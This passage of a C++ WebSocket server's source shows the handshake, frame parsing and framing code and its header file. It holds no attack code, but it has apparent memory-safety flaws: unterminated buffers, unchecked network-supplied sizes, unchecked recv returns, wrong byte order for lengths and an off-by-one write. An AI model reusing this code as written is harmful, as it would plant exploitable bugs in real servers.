setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval); 30 | setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval); 31 | if (bind(sockfd, (struct sockaddr *) &server, sizeof(server)) < 0) { 32 | perror("Error on binding"); 33 | goto error; 34 | } 35 | printf("server listening on %d\n", port); 36 | listen(sockfd, 5); 37 | return 0; 38 | error: 39 | return -1; 40 | } 41 | 42 | int websocket_accept(int sockfd, int &newsockfd) { 43 | struct sockaddr_in cli_addr; 44 | socklen_t clilen = sizeof(sockaddr_in); 45 | if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) == -1) { 46 | perror("Error on accept"); 47 | return -1; 48 | } 49 | return 0; 50 | } 51 | 52 | void websocket_close(int sockfd) { 53 | int ret = close(sockfd); 54 | printf("close: %d\n", ret); 55 | } 56 | 57 | int websocket_handshake(int sockfd) { 58 | char buffer[BUFFER_SIZE]; 59 | char *header = NULL, *tok = NULL, *key = NULL; 60 | int n, len = strlen("Sec-WebSocket-Key: "); 61 | char concat[1024]; 62 | char sha1buf[45]; 63 | char *base64buf = NULL; 64 | unsigned char sha1mac[20]; 65 | const char *GID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; 66 | SHA1Context shactx; 67 | SHA1Reset(&shactx); 68 | 69 | n = recv(sockfd, buffer, BUFFER_SIZE, 0); 70 | header = (char *)malloc(n+1); 71 | strncpy(header, buffer, n); 72 | for (tok = strtok(header, "\r\n"); tok != NULL; tok = strtok(NULL, "\r\n")) { 73 | if (strstr(tok, "Sec-WebSocket-Key: ") != NULL) { 74 | key = (char *)malloc(strlen(tok)-len+1); 75 | strncpy(key, tok + len, strlen(tok)-len+1); 76 | break; 77 | } 78 | } 79 | 80 | if (key == NULL) { 81 | perror("Unable to find key in request headers."); 82 | goto Error; 83 | } 84 | 85 | memset(concat, 0, sizeof(concat)); 86 | strncat(concat, key, strlen(key)); 87 | strncat(concat, GID, strlen(GID)); 88 | SHA1Input(&shactx, (unsigned char *) concat, strlen(concat)); 89 | SHA1Result(&shactx); 90 | sprintf(sha1buf, "%08x%08x%08x%08x%08x", shactx.Message_Digest[0], 91 | shactx.Message_Digest[1], shactx.Message_Digest[2], 92 | shactx.Message_Digest[3], shactx.Message_Digest[4]); 93 | for (n = 0; n < (int)(strlen(sha1buf) / 2); n++) { 94 | sscanf(sha1buf + (n * 2), "%02hhx", sha1mac + n); 95 | } 96 | base64buf = (char *) malloc(256); 97 | base64_encode(sha1mac, 20, base64buf, 256); 98 | 99 | //response 100 | memset(buffer, 0, BUFFER_SIZE); 101 | snprintf(buffer, BUFFER_SIZE, "HTTP/1.1 101 Switching Protocols\r\n" 102 | "Upgrade: websocket\r\n" 103 | "Connection: Upgrade\r\n" 104 | "Sec-WebSocket-Accept: %s\r\n\r\n", base64buf); 105 | send(sockfd, buffer, strlen(buffer), 0); 106 | 107 | free(header); 108 | free(key); 109 | free(base64buf); 110 | return 0; 111 | Error: 112 | return -1; 113 | } 114 | 115 | static void websocket_recvn(int sockfd, unsigned char* buffer, int length) { 116 | int n; 117 | while (length > 0) { 118 | n = recv(sockfd, buffer, length, 0); 119 | length -= n; 120 | buffer += n; 121 | } 122 | } 123 | 124 | static void websocket_sendn(int sockfd, unsigned char* buffer, int length) { 125 | int n; 126 | while (length > 0) { 127 | n = send(sockfd, buffer, length, 0); 128 | length -= n; 129 | buffer += n; 130 | } 131 | } 132 | 133 | unsigned char* websocket_recv_frame(int sockfd, uint64_t* length, unsigned char* finished) { 134 | unsigned char header[MAX_FRAME_HEADER_SIZE]; 135 | int pos = 0; 136 | uint64_t i; 137 | uint64_t frame_size; 138 | unsigned char fin, mask, opcode; 139 | unsigned char masks[4]; 140 | unsigned char* buffer = NULL; 141 | 142 | websocket_recvn(sockfd, header, 2); 143 | pos += 2; 144 | frame_size = GET_LENGTH(header[1]); 145 | fin = GET_FIN(header[0]); 146 | mask = GET_MASK(header[1]); 147 | opcode = GET_OPCODE(header[0]); 148 | 149 | if (opcode != TEXT_FRAME && opcode != BINARY_FRAME && opcode != CONTINUE_FRAME) { 150 | perror("Unknown opcode!"); 151 | goto Error; 152 | } 153 | 154 | if (frame_size == 126) { 155 | websocket_recvn(sockfd, header+pos, 2); 156 | pos += 2; 157 | frame_size = *(uint16_t *)(header+2); 158 | } else if (frame_size == 127) { 159 | websocket_recvn(sockfd, header+pos, 8); 160 | pos += 8; 161 | frame_size = *(uint64_t *)(header+2); 162 | } 163 | 164 | if (mask) { 165 | websocket_recvn(sockfd, header+pos, 4); 166 | memcpy((char*)masks, (char*)header+pos, 4); 167 | pos += 4; 168 | // printf("%x%x%x%x ", masks[0], masks[1], masks[2], masks[3]); 169 | } 170 | 171 | *length = frame_size; 172 | *finished = fin; 173 | buffer = (unsigned char*)malloc(frame_size); 174 | websocket_recvn(sockfd, buffer, frame_size); 175 | if (mask) { 176 | for (i = 0; i < frame_size; i++) { 177 | // printf("%x %x\n", buffer[i], buffer[i]^masks[i%4]); 178 | buffer[i] ^= masks[i%4]; 179 | } 180 | } 181 | 182 | return buffer; 183 | Error: 184 | return NULL; 185 | } 186 | 187 | uint64_t websocket_recv_frag(int sockfd, unsigned char* buffer, uint64_t buffer_size) { 188 | unsigned char fin = 0; 189 | uint64_t length, recved = 0; 190 | unsigned char* response; 191 | 192 | while (fin == 0) { 193 | response = websocket_recv_frame(sockfd, &length, &fin); 194 | if (response == NULL) { 195 | goto Error; 196 | } 197 | if (recved + length > buffer_size) { 198 | perror("recved data size is too large"); 199 | goto Error; 200 | } 201 | strncpy((char*)buffer+recved, (char*)response, length); 202 | free(response); 203 | recved += length; 204 | } 205 | buffer[recved] = '\0'; 206 | return recved; 207 | 208 | Error: 209 | return -1; 210 | } 211 | 212 | char* websocket_make_frame(unsigned char* data, uint64_t length, 213 | WebSocketFrameType type, unsigned char mask, int &size) { 214 | unsigned char flags = (unsigned char)type + (1 << 7); 215 | int pos = 0, i; 216 | unsigned char masks[4]; 217 | unsigned char header[MAX_FRAME_HEADER_SIZE]; 218 | char *buffer = NULL; 219 | 220 | header[pos++] = flags; 221 | if (length < 126) { 222 | header[pos++] = length + (mask << 7); 223 | } else if (length <= 65535) { 224 | header[pos++] = 126 + (mask << 7); 225 | header[pos++] = (length >> 8) & 0xff; 226 | header[pos++] = length & 0xff; 227 | } else { 228 | header[pos++] = 127 + (mask << 7); 229 | for (i = 7; i >= 0; i--) { 230 | header[pos++] = ((length >> 8*i) & 0xff); 231 | } 232 | } 233 | 234 | if (mask) { 235 | for (i = 0; i < 4; i++) { 236 | masks[i] = (unsigned char)i; 237 | header[pos++] = masks[i]; 238 | } 239 | } 240 | 241 | buffer = (char*)malloc(pos+length); 242 | strncpy(buffer, (char *)header, pos); 243 | strncpy(buffer+pos, (char *)data, length); 244 | size = pos + length; 245 | return buffer; 246 | } 247 | 248 | int websocket_send_frame(int sockfd, unsigned char* data, uint64_t length, 249 | WebSocketFrameType type, unsigned char mask) { 250 | int size; 251 | char *buffer = websocket_make_frame(data, length, type, mask, size); 252 | websocket_sendn(sockfd, (unsigned char*)buffer, size); 253 | free(buffer); 254 | 255 | return length; 256 | } 257 | -------------------------------------------------------------------------------- /server/src/websocket/websocket.h: -------------------------------------------------------------------------------- 1 | #ifndef _WEBSOCKET_H 2 | #define _WEBSOCKET_H 3 | 4 | #include 5 | #include 6 | 7 | #define MAX_FRAME_HEADER_SIZE 16 8 | #define GET_OPCODE(bits) (bits & 0x0f) 9 | #define GET_FIN(bits) ((bits >> 7) & 0x1) 10 | #define GET_MASK(bits) ((bits >> 7) & 0x1) 11 | #define GET_LENGTH(bits) (bits & ~0x80) 12 | 13 | enum WebSocketFrameType { 14 | CONTINUE_FRAME=0x0, 15 | TEXT_FRAME=0x1, 16 | BINARY_FRAME=0x2, 17 | PING_FRAME=0x9, 18 | PONG_FRAME=0xA 19 | }; 20 | 21 | int websocket_init(int &sockfd, uint16_t port); 22 | int websocket_accept(int sockfd, int &newsockfd); 23 | void websocket_close(int sockfd); 24 | int websocket_handshake(int sockfd); 25 | unsigned char* websocket_recv_frame(int sockfd, uint64_t* length, unsigned char* finished); 26 | uint64_t websocket_recv_frag(int sockfd, unsigned char* buffer, uint64_t buffer_size); 27 | int websocket_send_frame(int sockfd, unsigned char* data, uint64_t length, 28 | WebSocketFrameType type, unsigned char mask); 29 | char* websocket_make_frame(unsigned char* data, uint64_t length, 30 | WebSocketFrameType type, unsigned char mask, int &size); 31 | #endif --------------------------------------------------------------------------------